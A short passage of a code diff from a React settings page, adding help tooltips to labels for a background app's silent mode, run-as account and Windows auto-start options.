onChange={(e) => updateField('background.silent_mode', e.target.checked)}
|
||||
/>
|
||||
<span>Silent Mode (no console window, runs hidden)</span>
|
||||
<span>Silent Mode (no console window) <HelpTip field="silent_mode" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Run As</label>
|
||||
<label className="label">Run As <HelpTip field="run_as" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={config.background.run_as}
|
||||
@@ -301,7 +364,7 @@ export default function SettingsPage() {
|
||||
checked={config.background.auto_start}
|
||||
onChange={(e) => updateField('background.auto_start', e.target.checked)}
|
||||
/>
|
||||
<span>Auto-start with Windows</span>
|
||||
<span>Auto-start with Windows <HelpTip field="auto_start" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
|
||||
Reference in New Issue
Block a user